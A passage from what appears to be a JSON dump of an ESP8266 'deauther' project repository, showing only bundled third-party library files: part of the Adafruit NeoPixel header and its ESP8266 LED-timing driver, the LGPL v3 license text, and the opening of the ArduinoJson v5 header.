or WRGB color.\n    @return  Gamma-adjusted packed color, can then be passed in one of the\n             setPixelColor() functions. Like gamma8(), this uses a fixed\n             gamma correction exponent of 2.6, which seems reasonably okay\n             for average NeoPixels in average tasks. If you need finer\n             control you'll need to provide your own gamma-correction\n             function instead.\n  */\n  static uint32_t   gamma32(uint32_t x);\n\n protected:\n\n#ifdef NEO_KHZ400  // If 400 KHz NeoPixel support enabled...\n  bool              is800KHz;   ///< true if 800 KHz pixels\n#endif\n  bool              begun;      ///< true if begin() previously called\n  uint16_t          numLEDs;    ///< Number of RGB LEDs in strip\n  uint16_t          numBytes;   ///< Size of 'pixels' buffer below\n  int16_t           pin;        ///< Output pin number (-1 if not yet set)\n  uint8_t           brightness; ///< Strip brightness 0-255 (stored as +1)\n  uint8_t          *pixels;     ///< Holds LED color values (3 or 4 bytes each)\n  uint8_t           rOffset;    ///< Red index within each 3- or 4-byte pixel\n  uint8_t           gOffset;    ///< Index of green byte\n  uint8_t           bOffset;    ///< Index of blue byte\n  uint8_t           wOffset;    ///< Index of white (==rOffset if no white)\n  uint32_t          endTime;    ///< Latch timing reference\n#ifdef __AVR__\n  volatile uint8_t *port;       ///< Output PORT register\n  uint8_t           pinMask;    ///< Output PORT bitmask\n#endif\n#if defined(ARDUINO_ARCH_STM32) || defined(ARDUINO_ARCH_ARDUINO_CORE_STM32)\n  GPIO_TypeDef *gpioPort;       ///< Output GPIO PORT\n  uint32_t gpioPin;             ///< Output GPIO PIN\n#endif\n};\n\n#endif // ADAFRUIT_NEOPIXEL_H\n"
  },
  {
    "path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/COPYING",
    "content": "                   GNU LESSER GENERAL PUBLIC LICENSE\n                       Version 3, 29 June 2007\n\n Copyright (C) 2007 Free Software Foundation, Inc. <http://fsf.org/>\n Everyone is permitted to copy and distribute verbatim copies\n of this license document, but changing it is not allowed.\n\n\n  This version of the GNU Lesser General Public License incorporates\nthe terms and conditions of version 3 of the GNU General Public\nLicense, supplemented by the additional permissions listed below.\n\n  0. Additional Definitions.\n\n  As used herein, \"this License\" refers to version 3 of the GNU Lesser\nGeneral Public License, and the \"GNU GPL\" refers to version 3 of the GNU\nGeneral Public License.\n\n  \"The Library\" refers to a covered work governed by this License,\nother than an Application or a Combined Work as defined below.\n\n  An \"Application\" is any work that makes use of an interface provided\nby the Library, but which is not otherwise based on the Library.\nDefining a subclass of a class defined by the Library is deemed a mode\nof using an interface provided by the Library.\n\n  A \"Combined Work\" is a work produced by combining or linking an\nApplication with the Library.  The particular version of the Library\nwith which the Combined Work was made is also called the \"Linked\nVersion\".\n\n  The \"Minimal Corresponding Source\" for a Combined Work means the\nCorresponding Source for the Combined Work, excluding any source code\nfor portions of the Combined Work that, considered in isolation, are\nbased on the Application, and not on the Linked Version.\n\n  The \"Corresponding Application Code\" for a Combined Work means the\nobject code and/or source code for the Application, including any data\nand utility programs needed for reproducing the Combined Work from the\nApplication, but excluding the System Libraries of the Combined Work.\n\n  1. Exception to Section 3 of the GNU GPL.\n\n  You may convey a covered work under sections 3 and 4 of this License\nwithout being bound by section 3 of the GNU GPL.\n\n  2. Conveying Modified Versions.\n\n  If you modify a copy of the Library, and, in your modifications, a\nfacility refers to a function or data to be supplied by an Application\nthat uses the facility (other than as an argument passed when the\nfacility is invoked), then you may convey a copy of the modified\nversion:\n\n   a) under this License, provided that you make a good faith effort to\n   ensure that, in the event an Application does not supply the\n   function or data, the facility still operates, and performs\n   whatever part of its purpose remains meaningful, or\n\n   b) under the GNU GPL, with none of the additional permissions of\n   this License applicable to that copy.\n\n  3. Object Code Incorporating Material from Library Header Files.\n\n  The object code form of an Application may incorporate material from\na header file that is part of the Library.  You may convey such object\ncode under terms of your choice, provided that, if the incorporated\nmaterial is not limited to numerical parameters, data structure\nlayouts and accessors, or small macros, inline functions and templates\n(ten or fewer lines in length), you do both of the following:\n\n   a) Give prominent notice with each copy of the object code that the\n   Library is used in it and that the Library and its use are\n   covered by this License.\n\n   b) Accompany the object code with a copy of the GNU GPL and this license\n   document.\n\n  4. Combined Works.\n\n  You may convey a Combined Work under terms of your choice that,\ntaken together, effectively do not restrict modification of the\nportions of the Library contained in the Combined Work and reverse\nengineering for debugging such modifications, if you also do each of\nthe following:\n\n   a) Give prominent notice with each copy of the Combined Work that\n   the Library is used in it and that the Library and its use are\n   covered by this License.\n\n   b) Accompany the Combined Work with a copy of the GNU GPL and this license\n   document.\n\n   c) For a Combined Work that displays copyright notices during\n   execution, include the copyright notice for the Library among\n   these notices, as well as a reference directing the user to the\n   copies of the GNU GPL and this license document.\n\n   d) Do one of the following:\n\n       0) Convey the Minimal Corresponding Source under the terms of this\n       License, and the Corresponding Application Code in a form\n       suitable for, and under terms that permit, the user to\n       recombine or relink the Application with a modified version of\n       the Linked Version to produce a modified Combined Work, in the\n       manner specified by section 6 of the GNU GPL for conveying\n       Corresponding Source.\n\n       1) Use a suitable shared library mechanism for linking with the\n       Library.  A suitable mechanism is one that (a) uses at run time\n       a copy of the Library already present on the user's computer\n       system, and (b) will operate properly with a modified version\n       of the Library that is interface-compatible with the Linked\n       Version.\n\n   e) Provide Installation Information, but only if you would otherwise\n   be required to provide such information under section 6 of the\n   GNU GPL, and only to the extent that such information is\n   necessary to install and execute a modified version of the\n   Combined Work produced by recombining or relinking the\n   Application with a modified version of the Linked Version. (If\n   you use option 4d0, the Installation Information must accompany\n   the Minimal Corresponding Source and Corresponding Application\n   Code. If you use option 4d1, you must provide the Installation\n   Information in the manner specified by section 6 of the GNU GPL\n   for conveying Corresponding Source.)\n\n  5. Combined Libraries.\n\n  You may place library facilities that are a work based on the\nLibrary side by side in a single library together with other library\nfacilities that are not Applications and are not covered by this\nLicense, and convey such a combined library under terms of your\nchoice, if you do both of the following:\n\n   a) Accompany the combined library with a copy of the same work based\n   on the Library, uncombined with any other library facilities,\n   conveyed under the terms of this License.\n\n   b) Give prominent notice with the combined library that part of it\n   is a work based on the Library, and explaining where to find the\n   accompanying uncombined form of the same work.\n\n  6. Revised Versions of the GNU Lesser General Public License.\n\n  The Free Software Foundation may publish revised and/or new versions\nof the GNU Lesser General Public License from time to time. Such new\nversions will be similar in spirit to the present version, but may\ndiffer in detail to address new problems or concerns.\n\n  Each version is given a distinguishing version number. If the\nLibrary as you received it specifies that a certain numbered version\nof the GNU Lesser General Public License \"or any later version\"\napplies to it, you have the option of following the terms and\nconditions either of that published version or of any later version\npublished by the Free Software Foundation. If the Library as you\nreceived it does not specify a version number of the GNU Lesser\nGeneral Public License, you may choose any version of the GNU Lesser\nGeneral Public License ever published by the Free Software Foundation.\n\n  If the Library as you received it specifies that a proxy can decide\nwhether future versions of the GNU Lesser General Public License shall\napply, that proxy's public statement of acceptance of any version is\npermanent authorization for you to choose that version for the\nLibrary.\n"
  },
  {
    "path": "esp8266_deauther/src/Adafruit_NeoPixel-1.7.0/esp8266.c",
    "content": "// This is a mash-up of the Due show() code + insights from Michael Miller's\n// ESP8266 work for the NeoPixelBus library: github.com/Makuna/NeoPixelBus\n// Needs to be a separate .c file to enforce ICACHE_RAM_ATTR execution.\n\n#if defined(ESP8266)\n\n#include <Arduino.h>\n#ifdef ESP8266\n#include <eagle_soc.h>\n#endif\n\nstatic uint32_t _getCycleCount(void) __attribute__((always_inline));\nstatic inline uint32_t _getCycleCount(void) {\n  uint32_t ccount;\n  __asm__ __volatile__(\"rsr %0,ccount\":\"=a\" (ccount));\n  return ccount;\n}\n\n#ifdef ESP8266\nvoid ICACHE_RAM_ATTR espShow(\n uint8_t pin, uint8_t *pixels, uint32_t numBytes, boolean is800KHz) {\n#else\nvoid espShow(\n uint8_t pin, uint8_t *pixels, uint32_t numBytes, boolean is800KHz) {\n#endif\n\n#define CYCLES_800_T0H  (F_CPU / 2500000) // 0.4us\n#define CYCLES_800_T1H  (F_CPU / 1250000) // 0.8us\n#define CYCLES_800      (F_CPU /  800000) // 1.25us per bit\n#define CYCLES_400_T0H  (F_CPU / 2000000) // 0.5uS\n#define CYCLES_400_T1H  (F_CPU /  833333) // 1.2us\n#define CYCLES_400      (F_CPU /  400000) // 2.5us per bit\n\n  uint8_t *p, *end, pix, mask;\n  uint32_t t, time0, time1, period, c, startTime;\n\n#ifdef ESP8266\n  uint32_t pinMask;\n  pinMask   = _BV(pin);\n#endif\n\n  p         =  pixels;\n  end       =  p + numBytes;\n  pix       = *p++;\n  mask      = 0x80;\n  startTime = 0;\n\n#ifdef NEO_KHZ400\n  if(is800KHz) {\n#endif\n    time0  = CYCLES_800_T0H;\n    time1  = CYCLES_800_T1H;\n    period = CYCLES_800;\n#ifdef NEO_KHZ400\n  } else { // 400 KHz bitstream\n    time0  = CYCLES_400_T0H;\n    time1  = CYCLES_400_T1H;\n    period = CYCLES_400;\n  }\n#endif\n\n  for(t = time0;; t = time0) {\n    if(pix & mask) t = time1;                             // Bit high duration\n    while(((c = _getCycleCount()) - startTime) < period); // Wait for bit start\n#ifdef ESP8266\n    GPIO_REG_WRITE(GPIO_OUT_W1TS_ADDRESS, pinMask);       // Set high\n#else\n    gpio_set_level(pin, HIGH);\n#endif\n    startTime = c;                                        // Save start time\n    while(((c = _getCycleCount()) - startTime) < t);      // Wait high duration\n#ifdef ESP8266\n    GPIO_REG_WRITE(GPIO_OUT_W1TC_ADDRESS, pinMask);       // Set low\n#else\n    gpio_set_level(pin, LOW);\n#endif\n    if(!(mask >>= 1)) {                                   // Next bit/byte\n      if(p >= end) break;\n      pix  = *p++;\n      mask = 0x80;\n    }\n  }\n  while((_getCycleCount() - startTime) < period); // Wait for last bit\n}\n\n#endif // ESP8266\n"
  },
  {
    "path": "esp8266_deauther/src/ArduinoJson-v5.13.5/ArduinoJson.h",
    "content": "// ArduinoJson - arduinojson.org\r\n// Copyright Benoit Blanchon 2014-2019\r\n// MIT License\r\n\r\n#pragma once\r\n\r\n#ifdef __cplusplus\r\n\r\n#define ARDUINOJSON_VERSION \"5.13.5\"\r\n#define ARDUINOJSON_VERSION_MAJOR 5\r\n#define ARDUINOJSON_VERSION_MINOR 13\r\n#define ARDUINOJSON_VERSION_REVISION 5\r\n#include <stddef.h>  // for size_t\r\n#include <stdint.h>  // for uint8_t\r\n#include <string.h>\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass NonCopyable {\r\n protected:\r\n  NonCopyable() {}\r\n private:\r\n  NonCopyable(const NonCopyable&);\r\n  NonCopyable& operator=(const NonCopyable&);\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#ifndef ARDUINOJSON_EMBEDDED_MODE\r\n#if defined(ARDUINO) || defined(__IAR_SYSTEMS_ICC__) || defined(__XC) || \\\r\n    defined(__ARMCC_VERSION)\r\n#define ARDUINOJSON_EMBEDDED_MODE 1\r\n#else\r\n#define ARDUINOJSON_EMBEDDED_MODE 0\r\n#endif\r\n#endif\r\n#if ARDUINOJSON_EMBEDDED_MODE\r\n#ifndef ARDUINOJSON_USE_DOUBLE\r\n#define ARDUINOJSON_USE_DOUBLE 0\r\n#endif\r\n#ifndef ARDUINOJSON_USE_LONG_LONG\r\n#define ARDUINOJSON_USE_LONG_LONG 0\r\n#endif\r\n#ifndef ARDUINOJSON_USE_INT64\r\n#define ARDUINOJSON_USE_INT64 0\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_STD_STRING\r\n#define ARDUINOJSON_ENABLE_STD_STRING 0\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_STD_STREAM\r\n#define ARDUINOJSON_ENABLE_STD_STREAM 0\r\n#endif\r\n#ifndef ARDUINOJSON_DEFAULT_NESTING_LIMIT\r\n#define ARDUINOJSON_DEFAULT_NESTING_LIMIT 10\r\n#endif\r\n#else  // ARDUINOJSON_EMBEDDED_MODE\r\n#ifndef ARDUINOJSON_USE_DOUBLE\r\n#define ARDUINOJSON_USE_DOUBLE 1\r\n#endif\r\n#ifndef ARDUINOJSON_USE_LONG_LONG\r\n#if __cplusplus >= 201103L || (defined(_MSC_VER) && _MSC_VER >= 1800)\r\n#define ARDUINOJSON_USE_LONG_LONG 1\r\n#else\r\n#define ARDUINOJSON_USE_LONG_LONG 0\r\n#endif\r\n#endif\r\n#ifndef ARDUINOJSON_USE_INT64\r\n#if defined(_MSC_VER) && _MSC_VER <= 1700\r\n#define ARDUINOJSON_USE_INT64 1\r\n#else\r\n#define ARDUINOJSON_USE_INT64 0\r\n#endif\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_STD_STRING\r\n#define ARDUINOJSON_ENABLE_STD_STRING 1\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_STD_STREAM\r\n#define ARDUINOJSON_ENABLE_STD_STREAM 1\r\n#endif\r\n#ifndef ARDUINOJSON_DEFAULT_NESTING_LIMIT\r\n#define ARDUINOJSON_DEFAULT_NESTING_LIMIT 50\r\n#endif\r\n#endif  // ARDUINOJSON_EMBEDDED_MODE\r\n#ifdef ARDUINO\r\n#ifndef ARDUINOJSON_ENABLE_ARDUINO_STRING\r\n#define ARDUINOJSON_ENABLE_ARDUINO_STRING 1\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_ARDUINO_STREAM\r\n#define ARDUINOJSON_ENABLE_ARDUINO_STREAM 1\r\n#endif\r\n#else  // ARDUINO\r\n#ifndef ARDUINOJSON_ENABLE_ARDUINO_STRING\r\n#define ARDUINOJSON_ENABLE_ARDUINO_STRING 0\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_ARDUINO_STREAM\r\n#define ARDUINOJSON_ENABLE_ARDUINO_STREAM 0\r\n#endif\r\n#endif  // ARDUINO\r\n#ifndef ARDUINOJSON_ENABLE_PROGMEM\r\n#ifdef PROGMEM\r\n#define ARDUINOJSON_ENABLE_PROGMEM 1\r\n#else\r\n#define ARDUINOJSON_ENABLE_PROGMEM 0\r\n#endif\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_ALIGNMENT\r\n#ifdef ARDUINO_ARCH_AVR\r\n#define ARDUINOJSON_ENABLE_ALIGNMENT 0\r\n#else\r\n#define ARDUINOJSON_ENABLE_ALIGNMENT 1\r\n#endif\r\n#endif\r\n#ifndef ARDUINOJSON_ENABLE_DEPRECATED\r\n#define ARDUINOJSON_ENABLE_DEPRECATED 1\r\n#endif\r\n#ifndef ARDUINOJSON_POSITIVE_EXPONENTIATION_THRESHOLD\r\n#define ARDUINOJSON_POSITIVE_EXPONENTIATION_THRESHOLD 1e7\r\n#endif\r\n#ifndef ARDUINOJSON_NEGATIVE_EXPONENTIATION_THRESHOLD\r\n#define ARDUINOJSON_NEGATIVE_EXPONENTIATION_THRESHOLD 1e-5\r\n#endif\r\n#if ARDUINOJSON_USE_LONG_LONG && ARDUINOJSON_USE_INT64\r\n#error ARDUINOJSON_USE_LONG_LONG and ARDUINOJSON_USE_INT64 cannot be set together\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\n#if ARDUINOJSON_USE_DOUBLE\r\ntypedef double JsonFloat;\r\n#else\r\ntypedef float JsonFloat;\r\n#endif\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\n#if ARDUINOJSON_USE_LONG_LONG\r\ntypedef long long JsonInteger;\r\ntypedef unsigned long long JsonUInt;\r\n#elif ARDUINOJSON_USE_INT64\r\ntypedef __int64 JsonInteger;\r\ntypedef unsigned _int64 JsonUInt;\r\n#else\r\ntypedef long JsonInteger;\r\ntypedef unsigned long JsonUInt;\r\n#endif\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nclass JsonArray;\r\nclass JsonObject;\r\nnamespace Internals {\r\nunion JsonVariantContent {\r\n  JsonFloat asFloat;     // used for double and float\r\n  JsonUInt asInteger;    // used for bool, char, short, int and longs\r\n  const char* asString;  // asString can be null\r\n  JsonArray* asArray;    // asArray cannot be null\r\n  JsonObject* asObject;  // asObject cannot be null\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct JsonVariantDefault {\r\n  static T get() {\r\n    return T();\r\n  }\r\n};\r\ntemplate <typename T>\r\nstruct JsonVariantDefault<const T> : JsonVariantDefault<T> {};\r\ntemplate <typename T>\r\nstruct JsonVariantDefault<T&> : JsonVariantDefault<T> {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nclass JsonArray;\r\nclass JsonObject;\r\nnamespace Internals {\r\nenum JsonVariantType {\r\n  JSON_UNDEFINED,         // JsonVariant has not been initialized\r\n  JSON_UNPARSED,          // JsonVariant contains an unparsed string\r\n  JSON_STRING,            // JsonVariant stores a const char*\r\n  JSON_BOOLEAN,           // JsonVariant stores a bool\r\n  JSON_POSITIVE_INTEGER,  // JsonVariant stores an JsonUInt\r\n  JSON_NEGATIVE_INTEGER,  // JsonVariant stores an JsonUInt that must be negated\r\n  JSON_ARRAY,             // JsonVariant stores a pointer to a JsonArray\r\n  JSON_OBJECT,            // JsonVariant stores a pointer to a JsonObject\r\n  JSON_FLOAT              // JsonVariant stores a JsonFloat\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct JsonVariantAs {\r\n  typedef T type;\r\n};\r\ntemplate <>\r\nstruct JsonVariantAs<char*> {\r\n  typedef const char* type;\r\n};\r\ntemplate <>\r\nstruct JsonVariantAs<JsonArray> {\r\n  typedef JsonArray& type;\r\n};\r\ntemplate <>\r\nstruct JsonVariantAs<const JsonArray> {\r\n  typedef const JsonArray& type;\r\n};\r\ntemplate <>\r\nstruct JsonVariantAs<JsonObject> {\r\n  typedef JsonObject& type;\r\n};\r\ntemplate <>\r\nstruct JsonVariantAs<const JsonObject> {\r\n  typedef const JsonObject& type;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#ifdef _MSC_VER  // Visual Studio\r\n#define FORCE_INLINE  // __forceinline causes C4714 when returning std::string\r\n#define NO_INLINE __declspec(noinline)\r\n#define DEPRECATED(msg) __declspec(deprecated(msg))\r\n#elif defined(__GNUC__)  // GCC or Clang\r\n#define FORCE_INLINE __attribute__((always_inline))\r\n#define NO_INLINE __attribute__((noinline))\r\n#if __GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 5)\r\n#define DEPRECATED(msg) __attribute__((deprecated(msg)))\r\n#else\r\n#define DEPRECATED(msg) __attribute__((deprecated))\r\n#endif\r\n#else  // Other compilers\r\n#define FORCE_INLINE\r\n#define NO_INLINE\r\n#define DEPRECATED(msg)\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TImpl>\r\nclass JsonVariantCasts {\r\n public:\r\n#if ARDUINOJSON_ENABLE_DEPRECATED\r\n  DEPRECATED(\"use as<JsonArray>() instead\")\r\n  FORCE_INLINE JsonArray &asArray() const {\r\n    return impl()->template as<JsonArray>();\r\n  }\r\n  DEPRECATED(\"use as<JsonObject>() instead\")\r\n  FORCE_INLINE JsonObject &asObject() const {\r\n    return impl()->template as<JsonObject>();\r\n  }\r\n  DEPRECATED(\"use as<char*>() instead\")\r\n  FORCE_INLINE const char *asString() const {\r\n    return impl()->template as<const char *>();\r\n  }\r\n#endif\r\n  FORCE_INLINE operator JsonArray &() const {\r\n    return impl()->template as<JsonArray &>();\r\n  }\r\n  FORCE_INLINE operator JsonObject &() const {\r\n    return impl()->template as<JsonObject &>();\r\n  }\r\n  template <typename T>\r\n  FORCE_INLINE operator T() const {\r\n    return impl()->template as<T>();\r\n  }\r\n private:\r\n  const TImpl *impl() const {\r\n    return static_cast<const TImpl *>(this);\r\n  }\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <bool Condition, typename T = void>\r\nstruct EnableIf {};\r\ntemplate <typename T>\r\nstruct EnableIf<true, T> {\r\n  typedef T type;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TBase, typename TDerived>\r\nclass IsBaseOf {\r\n protected:  // <- to avoid GCC's \"all member functions in class are private\"\r\n  typedef char Yes[1];\r\n  typedef char No[2];\r\n  static Yes &probe(const TBase *);\r\n  static No &probe(...);\r\n public:\r\n  enum {\r\n    value = sizeof(probe(reinterpret_cast<TDerived *>(0))) == sizeof(Yes)\r\n  };\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T, typename U>\r\nstruct IsSame {\r\n  static const bool value = false;\r\n};\r\ntemplate <typename T>\r\nstruct IsSame<T, T> {\r\n  static const bool value = true;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct IsChar {\r\n  static const bool value = IsSame<T, char>::value ||\r\n                            IsSame<T, signed char>::value ||\r\n                            IsSame<T, unsigned char>::value;\r\n};\r\ntemplate <typename T>\r\nstruct IsChar<const T> : IsChar<T> {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct IsConst {\r\n  static const bool value = false;\r\n};\r\ntemplate <typename T>\r\nstruct IsConst<const T> {\r\n  static const bool value = true;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename T>\r\nstruct RemoveReference {\r\n  typedef T type;\r\n};\r\ntemplate <typename T>\r\nstruct RemoveReference<T&> {\r\n  typedef T type;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TString, typename Enable = void>\r\nstruct StringTraits {\r\n  static const bool has_append = false;\r\n  static const bool has_equals = false;\r\n};\r\ntemplate <typename TString>\r\nstruct StringTraits<const TString, void> : StringTraits<TString> {};\r\ntemplate <typename TString>\r\nstruct StringTraits<TString&, void> : StringTraits<TString> {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#if ARDUINOJSON_ENABLE_ARDUINO_STREAM\r\n#include <Stream.h>\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nstruct ArduinoStreamTraits {\r\n  class Reader {\r\n    Stream& _stream;\r\n    char _current, _next;\r\n   public:\r\n    Reader(Stream& stream) : _stream(stream), _current(0), _next(0) {}\r\n    void move() {\r\n      _current = _next;\r\n      _next = 0;\r\n    }\r\n    char current() {\r\n      if (!_current) _current = read();\r\n      return _current;\r\n    }\r\n    char next() {\r\n      if (!_next) _next = read();\r\n      return _next;\r\n    }\r\n   private:\r\n    char read() {\r\n      char c = 0;\r\n      _stream.readBytes(&c, 1);\r\n      return c;\r\n    }\r\n  };\r\n  static const bool has_append = false;\r\n  static const bool has_equals = false;\r\n};\r\ntemplate <typename TStream>\r\nstruct StringTraits<\r\n    TStream,\r\n    typename EnableIf<\r\n        IsBaseOf<Stream, typename RemoveReference<TStream>::type>::value>::type>\r\n    : ArduinoStreamTraits {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TChar>\r\nstruct CharPointerTraits {\r\n  class Reader {\r\n    const TChar* _ptr;\r\n   public:\r\n    Reader(const TChar* ptr)\r\n        : _ptr(ptr ? ptr : reinterpret_cast<const TChar*>(\"\")) {}\r\n    void move() {\r\n      ++_ptr;\r\n    }\r\n    char current() const {\r\n      return char(_ptr[0]);\r\n    }\r\n    char next() const {\r\n      return char(_ptr[1]);\r\n    }\r\n  };\r\n  static bool equals(const TChar* str, const char* expected) {\r\n    const char* actual = reinterpret_cast<const char*>(str);\r\n    if (!actual || !expected) return actual == expected;\r\n    return strcmp(actual, expected) == 0;\r\n  }\r\n  static bool is_null(const TChar* str) {\r\n    return !str;\r\n  }\r\n  typedef const char* duplicate_t;\r\n  template <typename Buffer>\r\n  static duplicate_t duplicate(const TChar* str, Buffer* buffer) {\r\n    if (!str) return NULL;\r\n    size_t size = strlen(reinterpret_cast<const char*>(str)) + 1;\r\n    void* dup = buffer->alloc(size);\r\n    if (dup != NULL) memcpy(dup, str, size);\r\n    return static_cast<duplicate_t>(dup);\r\n  }\r\n  static const bool has_append = false;\r\n  static const bool has_equals = true;\r\n  static const bool should_duplicate = !IsConst<TChar>::value;\r\n};\r\ntemplate <typename TChar>\r\nstruct StringTraits<TChar*, typename EnableIf<IsChar<TChar>::value>::type>\r\n    : CharPointerTraits<TChar> {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#if ARDUINOJSON_ENABLE_PROGMEM\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <>\r\nstruct StringTraits<const __FlashStringHelper*, void> {\r\n  class Reader {\r\n    const char* _ptr;\r\n   public:\r\n    Reader(const __FlashStringHelper* ptr)\r\n        : _ptr(reinterpret_cast<const char*>(ptr)) {}\r\n    void move() {\r\n      _ptr++;\r\n    }\r\n    char current() const {\r\n      return pgm_read_byte_near(_ptr);\r\n    }\r\n    char next() const {\r\n      return pgm_read_byte_near(_ptr + 1);\r\n    }\r\n  };\r\n  static bool equals(const __FlashStringHelper* str, const char* expected) {\r\n    const char* actual = reinterpret_cast<const char*>(str);\r\n    if (!actual || !expected) return actual == expected;\r\n    return strcmp_P(expected, actual) == 0;\r\n  }\r\n  static bool is_null(const __FlashStringHelper* str) {\r\n    return !str;\r\n  }\r\n  typedef const char* duplicate_t;\r\n  template <typename Buffer>\r\n  static duplicate_t duplicate(const __FlashStringHelper* str, Buffer* buffer) {\r\n    if (!str) return NULL;\r\n    size_t size = strlen_P((const char*)str) + 1;\r\n    void* dup = buffer->alloc(size);\r\n    if (dup != NULL) memcpy_P(dup, (const char*)str, size);\r\n    return static_cast<duplicate_t>(dup);\r\n  }\r\n  static const bool has_append = false;\r\n  static const bool has_equals = true;\r\n  static const bool should_duplicate = true;\r\n};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#endif\r\n#if ARDUINOJSON_ENABLE_STD_STREAM\r\n#include <istream>\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nstruct StdStreamTraits {\r\n  class Reader {\r\n    std::istream& _stream;\r\n    char _current, _next;\r\n   public:\r\n    Reader(std::istream& stream) : _stream(stream), _current(0), _next(0) {}\r\n    void move() {\r\n      _current = _next;\r\n      _next = 0;\r\n    }\r\n    char current() {\r\n      if (!_current) _current = read();\r\n      return _current;\r\n    }\r\n    char next() {\r\n      if (!_next) _next = read();\r\n      return _next;\r\n    }\r\n   private:\r\n    Reader& operator=(const Reader&);  // Visual Studio C4512\r\n    char read() {\r\n      return _stream.eof() ? '\\0' : static_cast<char>(_stream.get());\r\n    }\r\n  };\r\n  static const bool has_append = false;\r\n  static const bool has_equals = false;\r\n};\r\ntemplate <typename TStream>\r\nstruct StringTraits<\r\n    TStream,\r\n    typename EnableIf<IsBaseOf<\r\n        std::istream, typename RemoveReference<TStream>::type>::value>::type>\r\n    : StdStreamTraits {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#endif\r\n#if ARDUINOJSON_ENABLE_STD_STRING || ARDUINOJSON_ENABLE_ARDUINO_STRING\r\n#if ARDUINOJSON_ENABLE_ARDUINO_STRING\r\n#include <WString.h>\r\n#endif\r\n#if ARDUINOJSON_ENABLE_STD_STRING\r\n#include <string>\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TString>\r\nstruct StdStringTraits {\r\n  typedef const char* duplicate_t;\r\n  template <typename Buffer>\r\n  static duplicate_t duplicate(const TString& str, Buffer* buffer) {\r\n    if (!str.c_str()) return NULL;  // <- Arduino string can return NULL\r\n    size_t size = str.length() + 1;\r\n    void* dup = buffer->alloc(size);\r\n    if (dup != NULL) memcpy(dup, str.c_str(), size);\r\n    return static_cast<duplicate_t>(dup);\r\n  }\r\n  static bool is_null(const TString& str) {\r\n    return !str.c_str();\r\n  }\r\n  struct Reader : CharPointerTraits<char>::Reader {\r\n    Reader(const TString& str) : CharPointerTraits<char>::Reader(str.c_str()) {}\r\n  };\r\n  static bool equals(const TString& str, const char* expected) {\r\n    const char* actual = str.c_str();\r\n    if (!actual || !expected) return actual == expected;\r\n    return 0 == strcmp(actual, expected);\r\n  }\r\n  static void append(TString& str, char c) {\r\n    str += c;\r\n  }\r\n  static void append(TString& str, const char* s) {\r\n    str += s;\r\n  }\r\n  static const bool has_append = true;\r\n  static const bool has_equals = true;\r\n  static const bool should_duplicate = true;\r\n};\r\n#if ARDUINOJSON_ENABLE_ARDUINO_STRING\r\ntemplate <>\r\nstruct StringTraits<String, void> : StdStringTraits<String> {};\r\ntemplate <>\r\nstruct StringTraits<StringSumHelper, void> : StdStringTraits<StringSumHelper> {\r\n};\r\n#endif\r\n#if ARDUINOJSON_ENABLE_STD_STRING\r\ntemplate <>\r\nstruct StringTraits<std::string, void> : StdStringTraits<std::string> {};\r\n#endif\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\n#endif\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\nclass JsonVariantTag {};\r\ntemplate <typename T>\r\nstruct IsVariant : IsBaseOf<JsonVariantTag, T> {};\r\n}  // namespace Internals\r\n}  // namespace ArduinoJson\r\nnamespace ArduinoJson {\r\nnamespace Internals {\r\ntemplate <typename TImpl>\r\nclass JsonVariantComparisons 